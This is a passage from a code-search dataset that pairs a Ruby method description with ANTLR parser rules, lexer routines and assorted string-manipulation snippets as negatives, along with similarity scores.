@adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 59 )\n\n\n end\n\n return return_value\n end", "def greek_organization\n Array.new(3) { |_| sample(greek_alphabet) }.join\n end", "def decode(s)\n i = 0\n base = ALPHABET.length\n s.each_char { |c| i = i * base + ALPHABET.index(c) }\n i\n end", "def start_symbol()\n return sets.first.entries[0].vertex.non_terminal\n end", "def get_alt_codes_of(character)\n [\"+#{get_utf16_of character}\", \"#{get_cp850_of character}\", \"#{get_windows_1252_of character}\"].reject(&:empty?)\nend", "def _lex_indicies; end", "def _lex_indicies; end", "def _lex_indicies; end", "def _lex_indicies; end", "def cannabinoid_abbreviation; end", "def generate_cscope_pattern(base)\n pattern = base.downcase #in order to do case insensitive matching cscope requires lower case\n return \"^(.* )?#{pattern}\" if pattern.length <= 2\n return \"^(.* )?#{pattern}\"\n #return '^(.* )?p[a-zA-Z0-9]*a'\n end", "def token_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n return_value = TokenSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n lit = nil\n __TOKEN_REF16__ = nil\n char_literal17 = nil\n char_literal18 = nil\n\n tree_for_lit = nil\n tree_for_TOKEN_REF16 = nil\n tree_for_char_literal17 = nil\n tree_for_char_literal18 = nil\n stream_STRING_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token STRING_LITERAL\" )\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__71\" )\n stream_CHAR_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token CHAR_LITERAL\" )\n stream_LABEL_ASSIGN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LABEL_ASSIGN\" )\n stream_TOKEN_REF = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token TOKEN_REF\" )\n\n begin\n # at line 105:4: TOKEN_REF ( '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL ) -> ^( '=' TOKEN_REF $lit) | -> TOKEN_REF ) ';'\n __TOKEN_REF16__ = match( TOKEN_REF, TOKENS_FOLLOWING_TOKEN_REF_IN_token_spec_487 )\n if @state.backtracking == 0\n stream_TOKEN_REF.add( __TOKEN_REF16__ )\n end\n # at line 106:3: ( '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL ) -> ^( '=' TOKEN_REF $lit) | -> TOKEN_REF )\n alt_10 = 2\n look_10_0 = @input.peek( 1 )\n\n if ( look_10_0 == LABEL_ASSIGN )\n alt_10 = 1\n elsif ( look_10_0 == T__71 )\n alt_10 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 10, 0 )\n end\n case alt_10\n when 1\n # at line 106:5: '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL )\n char_literal17 = match( LABEL_ASSIGN, TOKENS_FOLLOWING_LABEL_ASSIGN_IN_token_spec_493 )\n if @state.backtracking == 0\n stream_LABEL_ASSIGN.add( char_literal17 )\n end\n # at line 106:9: (lit= STRING_LITERAL | lit= CHAR_LITERAL )\n alt_9 = 2\n look_9_0 = @input.peek( 1 )\n\n if ( look_9_0 == STRING_LITERAL )\n alt_9 = 1\n elsif ( look_9_0 == CHAR_LITERAL )\n alt_9 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 9, 0 )\n end\n case alt_9\n when 1\n # at line 106:10: lit= STRING_LITERAL\n lit = match( STRING_LITERAL, TOKENS_FOLLOWING_STRING_LITERAL_IN_token_spec_498 )\n if @state.backtracking == 0\n stream_STRING_LITERAL.add( lit )\n end\n\n when 2\n # at line 106:29: lit= CHAR_LITERAL\n lit = match( CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_token_spec_502 )\n if @state.backtracking == 0\n stream_CHAR_LITERAL.add( lit )\n end\n\n end\n # AST Rewrite\n # elements: TOKEN_REF, lit, LABEL_ASSIGN\n # token labels: lit\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_lit = token_stream( \"token lit\", lit )\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 106:47: -> ^( '=' TOKEN_REF $lit)\n # at line 106:50: ^( '=' TOKEN_REF $lit)\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_LABEL_ASSIGN.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_TOKEN_REF.next_node )\n @adaptor.add_child( root_1, stream_lit.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 107:16: \n # AST Rewrite\n # elements: TOKEN_REF\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 107:16: -> TOKEN_REF\n @adaptor.add_child( root_0, stream_TOKEN_REF.next_node )\n\n\n\n return_value.tree = root_0\n\n end\n end\n char_literal18 = match( T__71, TOKENS_FOLLOWING_T__71_IN_token_spec_541 )\n if @state.backtracking == 0\n stream_T__71.add( char_literal18 )\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return return_value\n end", "def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end", "def utf8_ranges( range )\n ranges = []\n UTF8_BOUNDARIES.each do |max|\n if range.begin <= max\n return ranges << range if range.end <= max\n\n ranges << range.begin .. max\n range = (max + 1) .. range.end\n end\n end\n ranges\nend", "def next_letter (name)\n vowels = \"aeiou\".split('')\nalphabet = ('a'..'z').to_a\nconsonants = alphabet - vowels\nname_array = name.split('')\nname_array.map! { |letter|\n if letter == \"u\"\n \"a\"\n elsif letter == \"z\"\n \"b\"\n elsif consonants.include? letter\n consonants[consonants.index(letter) + 1]\n elsif vowels.include? letter\n vowels[vowels.index(letter) + 1]\n else\n letter\n end\n}\nname_array.join('')\nend", "def get_starting_letter\t\n\t\trandom_number = @random_number_generator.rand(0.0..1.0)\n\n @pair_probability_table.frequencies.select {|k, v| k[0] == ' ' &&\n k[1] != ' ' &&\n v >= random_number}.keys.sort.first[1]\n\tend", "def initial_substrings(word)\n (0...word.length).map { |index| word[0..index] }\nend", "def parse_name(full_name)\n letter = full_name[0].upcase\n octave = full_name[/\\d+/].to_i\n accidental = full_name[/[b#x]+/] || \"\"\n return letter, octave, accidental\n end", "def alias_generator(name)\n name_ord_reversed = name.split(' ').reverse\n name_ord_reversed = name_ord_reversed.join(\" \")\n name_ord_reversed = name_ord_reversed.split('')\n p name_ord_reversed\n vowels = \"aeiou\"\n vowels_array = vowels.split('')\n p vowels_array\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n consonants_array = consonants.split('')\n p consonants_array\n index = 0 \n until index >= name.length do\n new_alias = []\n letter = name_ord_reversed[index]\n if letter == \" \"\n new_alias << letter\n elsif vowels.include? letter\n new_letter = vowels[index+1]\n new_alias << new_letter\n elsif consonants.include? letter\n new_letter = consonants[index+1]\n new_alias << new_letter\n end \n index += 1 \n end \n \n \n \n\n \nend", "def consonant_changer(name)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n name.map! do |chars|\n counter = 0\n while counter < consonant_guide.length\n if chars == consonant_guide[counter]\n chars = consonant_guide[counter += 1]\n counter += 1\n elsif chars == \"z\"\n chars = \"b\"\n counter += 1\n else\n chars\n counter += 1\n end\n end\n chars\n end\n name\n name.join('').capitalize!\nend", "def cases(test_name)\n test_name\n .split('__')\n .map { |group| group.split('_') }\n .select { |elements| elements.all? { |case_id| case_id =~ /C\\d+/i } }\n .flatten\n .map { |case_id| case_id[1..-1] }\n end", "def read( start_position )\n pos = start_position.adjusted_stream_position\n line_number = column_number = 0\n\n if @source.at_eof?(stream_position) then\n line_number = @source.eof_line_number\n column_number = @source.eof_column_number\n else\n line_number = @source.line_number(stream_position)\n column_number = @source.column_number(stream_position)\n end\n \n characters = []\n states = [ start_position.state ]\n\n forever do\n c = readc(pos)\n action = states[-1].action_for( c )\n \n case action\n \n #\n # Read a single character and prepare to move on.\n \n when Plan::Actions::Read\n characters << c\n states << action.to_state\n pos += 1\n \n \n #\n # Group several characters for further processing. Unlike in the Parser, we\n # perform the Shift here directly. We don't move the pos, because nothing was\n # used.\n \n when Plan::Actions::Group\n length = action.by_production.length\n group = characters.slice!(-length..-1)\n states.slice!(-length..-1)\n states << states[-1].action_for(action.by_production.name).to_state\n characters << group\n\n\n #\n # Tokenize ends the read() operation. We set our answer into the start_position\n # and return.\n \n when Plan::Actions::Tokenize\n length = action.by_production.length\n if characters.length == length then\n start_position.determinant = Nodes::Token.new( characters.flatten, action.by_production.name, start_position.adjusted_stream_position, line_number, column_number, @source )\n break\n else\n nyi( \"error handling for too short Tokenize\" )\n end\n \n \n #\n # For lexical stuff, all Attempt actions will be of the same type. For Group\n # actions, we want the longest match (always), so we need to try all branches\n # and find the longest Token produced. For Tokenize, we need to interact with\n # the Parser's BranchInfo system.\n \n when Plan::Actions::Attempt\n case action.actions[0]\n when Plan::Actions::Group\n nyi()\n when Plan::Actions::Tokenize\n nyi()\n else\n nyi( \"attempt support for #{action.actions[0].class.name}\" )\n end\n \n \n #\n # If there is no action, we've got an error.\n \n when NilClass\n nyi( \"error\" )\n \n else\n nyi( \"not supported\", action )\n end\n end\n end", "def create_index2(word)\n word.each_char.map {|c| CHAR_MAP[c.downcase]}.reduce(:*)\n end", "def letter_array (name)\n\tname.chars\nend", "def cardinal_abbreviation; end", "def layover_codes\n %w[ATL ORD DFW DEN]\n end", "def accidentals(input) # Integer or symbol\n key_name = get_key_name(input)\n circle_of_fifths = [:Gb,:Cs,:Ab,:Eb,:Bb,:F,:C,:G,:D,:A,:E,:B,:Fs]\n idx = circle_of_fifths.index(key_name)\n idx-6\n end", "def token_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 3)\n return_value = TokenSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n lit = nil\n __TOKEN_REF16__ = nil\n char_literal17 = nil\n char_literal18 = nil\n\n tree_for_lit = nil\n tree_for_TOKEN_REF16 = nil\n tree_for_char_literal17 = nil\n tree_for_char_literal18 = nil\n stream_STRING_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token STRING_LITERAL\")\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__71\")\n stream_CHAR_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token CHAR_LITERAL\")\n stream_LABEL_ASSIGN = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token LABEL_ASSIGN\")\n stream_TOKEN_REF = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token TOKEN_REF\")\n\n begin\n # at line 114:4: TOKEN_REF ( '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL ) -> ^( '=' TOKEN_REF $lit) | -> TOKEN_REF ) ';'\n __TOKEN_REF16__ = match(TOKEN_REF, TOKENS_FOLLOWING_TOKEN_REF_IN_token_spec_492) \n if @state.backtracking == 0\n stream_TOKEN_REF.add(__TOKEN_REF16__)\n end\n # at line 115:3: ( '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL ) -> ^( '=' TOKEN_REF $lit) | -> TOKEN_REF )\n alt_10 = 2\n look_10_0 = @input.peek(1)\n\n if (look_10_0 == LABEL_ASSIGN) \n alt_10 = 1\n elsif (look_10_0 == T__71) \n alt_10 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 10, 0)\n raise nvae\n end\n case alt_10\n when 1\n # at line 115:5: '=' (lit= STRING_LITERAL | lit= CHAR_LITERAL )\n char_literal17 = match(LABEL_ASSIGN, TOKENS_FOLLOWING_LABEL_ASSIGN_IN_token_spec_498) \n if @state.backtracking == 0\n stream_LABEL_ASSIGN.add(char_literal17)\n end\n # at line 115:9: (lit= STRING_LITERAL | lit= CHAR_LITERAL )\n alt_9 = 2\n look_9_0 = @input.peek(1)\n\n if (look_9_0 == STRING_LITERAL) \n alt_9 = 1\n elsif (look_9_0 == CHAR_LITERAL) \n alt_9 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 9, 0)\n raise nvae\n end\n case alt_9\n when 1\n # at line 115:10: lit= STRING_LITERAL\n lit = match(STRING_LITERAL, TOKENS_FOLLOWING_STRING_LITERAL_IN_token_spec_503) \n if @state.backtracking == 0\n stream_STRING_LITERAL.add(lit)\n end\n\n when 2\n # at line 115:29: lit= CHAR_LITERAL\n lit = match(CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_token_spec_507) \n if @state.backtracking == 0\n stream_CHAR_LITERAL.add(lit)\n end\n\n end\n # AST Rewrite\n # elements: lit, LABEL_ASSIGN, TOKEN_REF\n # token labels: lit\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_lit = token_stream(\"token lit\", lit)\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 115:47: -> ^( '=' TOKEN_REF $lit)\n # at line 115:50: ^( '=' TOKEN_REF $lit)\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_LABEL_ASSIGN.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_TOKEN_REF.next_node)\n @adaptor.add_child(root_1, stream_lit.next_node)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 116:16: \n # AST Rewrite\n # elements: TOKEN_REF\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 116:16: -> TOKEN_REF\n @adaptor.add_child(root_0, stream_TOKEN_REF.next_node)\n\n\n\n return_value.tree = root_0\n\n end\n end\n char_literal18 = match(T__71, TOKENS_FOLLOWING_T__71_IN_token_spec_546) \n if @state.backtracking == 0\n stream_T__71.add(char_literal18)\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 3)\n\n end\n \n return return_value\n end", "def codegroup(code)\n if code < 97 \n 65\n else \n 97\n end\n end", "def identifier_name\n return nil if (code = @codes[@pos]).nil?\n\n pos0 = @pos\n chars = []\n if code == 0x5c and ucode = unicode_escape? and identifier_start?(ucode)\n chars.push(ucode)\n @pos += 6\n elsif identifier_start?(code)\n chars.push(code)\n @pos += 1\n else\n return nil\n end\n\n while true\n code = @codes[@pos]\n if code == 0x5c and ucode = unicode_escape? and identifier_part?(ucode)\n chars.push(ucode)\n @pos += 6\n elsif identifier_part?(code)\n chars.push(code)\n @pos += 1\n else\n name = chars.pack(\"U*\").to_sym\n return ECMA262::IdentifierName.get(name)\n end\n end\n end", "def parse_characters_normal(line, start_index)\n index = start_index\n\n while index < line.length\n if [ \"(\", \"{\", \"[\" ].include?(line[index])\n # Opening brace\n @state[:open_braces] += 1\n index += 1\n\n elsif [ \")\", \"}\", \"]\" ].include?(line[index])\n # Closing brace\n @state[:open_braces] -= 1\n index += 1\n\n elsif line[index] == \"#\"\n # We have found the start of a comment, so ignore the rest of the line\n index = line.length\n\n elsif line[index] == \"\\\\\" && index == line.length - 1\n # We have found a backslash as the last character -> line continuation\n @state[:line_continuator] = true\n index += 1\n\n elsif line[index] == '\"\"\"'\n # We have found a triple-quoted string. Advance index and leave\n @state[:in_string] = '\"\"\"'\n index += 3\n break\n\n elsif line[index] == \"'''\"\n # We have found a triple-quoted string. Advance index and leave\n @state[:in_string] = \"'''\"\n index += 3\n break\n\n elsif line[index] == '\"'\n # We have found a single-quoted string. Advance index and leave\n @state[:in_string] = '\"'\n index += 1\n break\n\n elsif line[index] == \"'\"\n # We have found a single-quoted string. Advance index and leave\n @state[:in_string] = \"'\"\n index += 1\n break\n\n else\n # Advance a character\n index += 1\n end\n end\n\n return index\n end", "def find_start_good_section(iupac_concensus_string, min_length)\n good_char_count = 0\n char_index = 0\n iupac_concensus_string.each_char do |char|\n if char =~ /[^\\?\\-Nn]/\n good_char_count += 1\n if good_char_count >= min_length\n break\n end\n else\n good_char_count = 0\n end\n char_index += 1\n end\n char_index - (good_char_count - 1)\n end" ]
[ "0.56431746", "0.5321983", "0.5181111", "0.51556695", "0.5087949", "0.5080007", "0.5034374", "0.49998444", "0.49993026", "0.49961925", "0.4989283", "0.4929375", "0.49053985", "0.49018884", "0.48989484", "0.48989484", "0.48989484", "0.48772302", "0.48247", "0.48078308", "0.4766154", "0.47464368", "0.47417808", "0.47350356", "0.47350356", "0.47350356", "0.47350356", "0.4707521", "0.46961945", "0.4686699", "0.46809638", "0.46785063", "0.46769646", "0.46255645", "0.45964321", "0.45937195", "0.45925713", "0.4588603", "0.4583732", "0.4580211", "0.45787394", "0.455427", "0.45492205", "0.4548509", "0.45476294", "0.45367983", "0.45265916", "0.45175424", "0.45135984", "0.45106918", "0.45049247", "0.45007813", "0.44766837", "0.44755593", "0.4474128", "0.44678587", "0.44595522", "0.44571432", "0.44473624", "0.4444717", "0.44442376", "0.44413173", "0.44413173", "0.44413173", "0.44388807", "0.44374982", "0.44310316", "0.44309837", "0.4425734", "0.44231763", "0.44108343", "0.4409456", "0.44032344", "0.44016832", "0.44016832", "0.44016832", "0.44016832", "0.43951133", "0.43944013", "0.43738973", "0.43673468", "0.4365456", "0.4361756", "0.43604434", "0.43494678", "0.4347522", "0.4344318", "0.43212613", "0.43195772", "0.4318965", "0.43178254", "0.43153045", "0.43145943", "0.43143576", "0.43140596", "0.43137056", "0.43106738", "0.4305497", "0.43041167", "0.43036744" ]
0.65678203
0
Operations compile_parser_plan() generates a ParserPlan for a specific start rule
def compile_parser_plan( name ) case name when Model::Markers::Reference, Plan::Symbol name = name.name end assert( @production_sets.member?(name), "not a valid start rule name" ) state_table = StateTable.build( self, name ) return ParserPlan.new( self, name.grammar, state_table ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compile_plan()\n return Plan::ParserPlan.build( self )\n end", "def to_PLParser(startSym)\n\n thePLP = TextRect.new\n\n @ntIndex.each do |nt, s|\n\n theNT = TextRect.new(\"#{nt.name} ::= \")\n before = ' '\n\n s[:rules].each do |i|\n rhs = @ruleTable[i][:rule].rhs\n rhs.each { |sym| before << sym.name << ' ' }\n theNT.below!(before)\n before = ' | '\n end\n\n theNT.below!(' ;')\n thePLP.below!(theNT)\n\n end\n\n thePLP.below!('&G')\n\n end", "def parse_table\n @parse_table ||= parse_table_for_rule(start)\n end", "def initialize( parser_plan, source, build_ast = true )\n @parser_plan = parser_plan\n @source = source\n @build_ast = build_ast\n @work_queue = []\n @in_recovery = false\n @recovery_queue = Util::TieredQueue.new()\n end", "def lex_start; end", "def lex_start; end", "def lex_start; end", "def lex_start; end", "def lex_rule start_state, regexp, action = nil\n rules << Rule.new(start_state, regexp, action)\n end", "def lex_start=(_arg0); end", "def lex_start=(_arg0); end", "def lex_start=(_arg0); end", "def lex_start=(_arg0); end", "def generate( parser_plan, output_directory = nil )\n # generate_lexer( parser_plan, output_directory )\n \n #\n # We only build an AST-producing Parser if requested.\n \n ast_class_lookup = nil\n if true or (@configuration.member?(\"build_ast\") and @configuration[\"build_ast\"]) then\n ast_class_lookup = {}\n parser_plan.ast_classes.each do |name, ast_class|\n ast_class_lookup[name] = make_class_name(name) + \"Node\" unless ast_class_lookup.member?(name)\n end\n end\n \n generate_parser( parser_plan, ast_class_lookup, output_directory )\n #generate_ast_classes( parser_plan, ast_class_lookup, output_directory ) unless ast_class_lookup.nil?\n end", "def tree_begin!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 4)\n\n type = TREE_BEGIN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 10:14: '^('\n match(\"^(\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 4)\n\n end", "def program\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n return_value = ProgramReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n statement1 = nil\n\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 14:5: ( statement )+\n # at file 14:5: ( statement )+\n match_count_1 = 0\n while true\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0.between?( AMP, AMP_ASGN ) || look_1_0 == POST_DECR || look_1_0.between?( GEQ, AREF ) || look_1_0.between?( GREATER, HAT ) || look_1_0.between?( ARROW, HAT_ASGN ) || look_1_0.between?( ASGN, REGEX ) || look_1_0.between?( IN, RETURN ) || look_1_0 == INCR || look_1_0.between?( BREAK, RSHIFT3 ) || look_1_0.between?( LABEL, CATCH ) || look_1_0 == RSHIFT_ASGN || look_1_0 == LEQ || look_1_0.between?( LESS, SLASH ) || look_1_0.between?( SLASH_ASGN, CONTINUE ) || look_1_0.between?( STAR, DECR ) || look_1_0 == STAR_ASGN || look_1_0.between?( LSHIFT, THIS ) || look_1_0 == THROW || look_1_0.between?( MINUS, MOD ) || look_1_0.between?( MOD_ASGN, TYPEOF ) || look_1_0.between?( NEQ, UMINUS ) || look_1_0.between?( NEQQ, UNDEFINED ) || look_1_0.between?( NEW, UPLUS ) || look_1_0.between?( OBJECT, FALSE ) || look_1_0.between?( WITH, PLUS ) || look_1_0.between?( ID, DOC ) )\n alt_1 = 1\n\n end\n case alt_1\n when 1\n # at line 14:5: statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_IN_program_43 )\n statement1 = statement\n @state.following.pop\n\n @adaptor.add_child( root_0, statement1.tree )\n\n\n else\n match_count_1 > 0 and break\n eee = EarlyExit(1)\n\n\n raise eee\n end\n match_count_1 += 1\n end\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return return_value\n end", "def parse_table_for_rule(name)\n raise GrammarError, \"Undefined start rule #{name.inspect}\" unless rules.key?(name)\n\n rule = if rules[name].terminal?\n RuleSet.new(:$start, false).tap { |r| r[name].as { |prog| prog } }\n else\n rules[name]\n end\n\n rule.build_parse_table(\n {},\n self,\n {\n :initial => true,\n :state => [rule, 0].hash,\n :seen => [],\n :offset => 0,\n :prec => 0\n }\n )\n end", "def lex_start line\n starts << line.strip\n end", "def compile(source)\n ast = transformer.apply(parser.parse(source))\n ast.compile\n end", "def build_start_parse ctxt= ParseContext.new\n base_production = symbol(start_symbol_name)\n # we set the root parse child in a hook so that we can\n # inspect it as soon as possible, before the node builds its children\n parse = base_production.build_parse(ctxt, RootParse) do |p|\n p.after_gets_parse_id do |pp|\n RootParse.only_child = pp\n end\n end\n parse\n end", "def compile_parser(base, grammar_or_parser, opts={})\r\n compile(Class.new(base), grammar_or_parser, opts)\r\n end", "def start\n @cmd.parse\n end", "def open_par!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n type = OPEN_PAR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 51:14: '('\n match( 0x28 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end", "def scan(start_rule, actions, visited_states)\n if (!(@grammar.attr_type).equal?(Grammar::LEXER))\n return\n end\n in_ = @input\n # System.out.println(\"scan(\"+startRule+\",'\"+in.substring(in.index(),in.size()-1)+\"')\");\n # Build NFAs/DFAs from the grammar AST if NFAs haven't been built yet\n if ((@grammar.get_rule_start_state(start_rule)).nil?)\n @grammar.build_nfa\n end\n if (!@grammar.all_decision_dfahave_been_created)\n # Create the DFA predictors for each decision\n @grammar.create_lookahead_dfas\n end\n # do the parse\n rule_invocation_stack = Stack.new\n start = @grammar.get_rule_start_state(start_rule)\n stop = @grammar.get_rule_stop_state(start_rule)\n parse_engine(start_rule, start, stop, in_, rule_invocation_stack, actions, visited_states)\n end", "def parse_program\n skip_skips\n stmts = []\n while @pos < @len\n stmts << parse_stmt\n consume(:semicolon)\n end\n Node.new(:program, stmts: stmts.compact)\n end", "def build_parser\n code = ''\n\n %w[opal/ruby/nodes opal/ruby/parser opal/ruby/ruby_parser].each do |src|\n full = File.join OPAL_PATH, 'opal_lib', src + '.rb'\n compiled = compile_source full\n code += \"opal.register('#{src}.rb', #{compiled});\"\n end\n\n code += build_stdlib 'racc/parser.rb', 'strscan.rb', 'dev.rb'\n code += \"opal.require('dev');\"\n\n code\n end", "def step\n case\n when check( /program\\s+/ )\n start_group :keyword, scan( /program\\s+/ )\n start_group :function, scan_until( /(?=[;(\\s]|#{EOL})/ )\n when check( /subroutine\\s+/ )\n start_group :keyword, scan( /subroutine\\s+/ )\n start_group :function, scan_until( /(?=[;(\\s]|#{EOL})/ )\n when check( /function\\s+/ )\n start_group :keyword, scan( /function\\s+/ )\n start_group :function, scan_until( /(?=[;(\\s]|#{EOL})/ )\n when check( /module\\s+/ )\n start_group :keyword, scan( /module\\s+/ )\n start_group :function, scan_until( /(?=[;\\s]|#{EOL})/ )\n when check( /\\.true\\.|\\.false\\.|\\.TRUE\\.|\\.FALSE\\./ )\n start_group :constant,\n scan(/\\.true\\.|\\.false\\.|\\.TRUE\\.|\\.FALSE\\./)\n when scan( /(\\d+\\.?\\d*|\\d*\\.?\\d+)([eEdDqQ][+-]?\\d+)?(_\\w+)?/ )\n start_group :number, matched\n when scan( /[bB]\\'[01]+\\'|[oO]\\'[0-7]+\\'|[zZ]\\'[0-9a-fA-F]+\\'/ )\n start_group :number, matched\n else\n case peek(1)\n when /[\\n\\r]/\n start_group :normal, scan( /\\s+/ )\n when /\\s/\n start_group :normal, scan( /\\s+/ )\n when \"!\"\n start_group :comment, scan( /![^\\n\\r]*/ )\n when /[A-Za-z]/\n word = scan( /\\w+/ )\n if KEYWORDS.include?(word)\n start_group :keyword, word\n elsif TYPES.include?(word)\n start_group :type, word\n elsif INTRINSICS.include?(word)\n start_group :function, word\n elsif\n start_group :ident, word\n end\n when '\"'\n # allow for continuation characters within strings\n start_group :string, scan(/\"([^\"]*(&[ ]*[\\n\\r]+)?)*\"/)\n when \"'\"\n # allow for continuation characters within strings\n start_group :string, scan(/'([^']*(&[ ]*[\\n\\r]+)?)*'/)\n when /[-!?*\\/+=<>()\\[\\]\\{}:;,&|%]/\n start_group :punct, scan(/./)\n else\n # pass everything else through\n append getch\n end\n end\n end", "def initialize(rules, start_symbol=nil)\n \n # Allow a previously-generated hash to be dropped into place\n #FIXME validate the hash?\n @rules = rules if rules.kind_of? Hash\n @rules ||= Hash.new\n\n # Allow a single rule expressed as a string\n \n if rules.kind_of? String\n if rules.include? \"\\n\"\n rules = rules.parse_rules\n else\n rules = [rules.parse_rule]\n end\n end\n rules = [rules] if rules.kind_of? String\n rules.each { |r| push(r) }\n\n # If no start symbol is given, assume the left-most head symbol of the first\n # rule supplied to be start symbol\n @start_symbol = start_symbol\n @start_symbol ||= first(1).head[0]\n\n end", "def step\n case\n when bol? && check( /=begin/ )\n start_group( :comment, scan_until( /^=end#{EOL}/ ) )\n when bol? && check( /__END__#{EOL}/ )\n start_group( :comment, scan_until( /\\Z/ ) )\n else\n case\n when check( /def\\s+/ )\n start_group :keyword, scan( /def\\s+/ )\n start_group :method, scan_until( /(?=[;(\\s]|#{EOL})/ )\n when check( /class\\s+/ )\n start_group :keyword, scan( /class\\s+/ )\n start_group :class, scan_until( 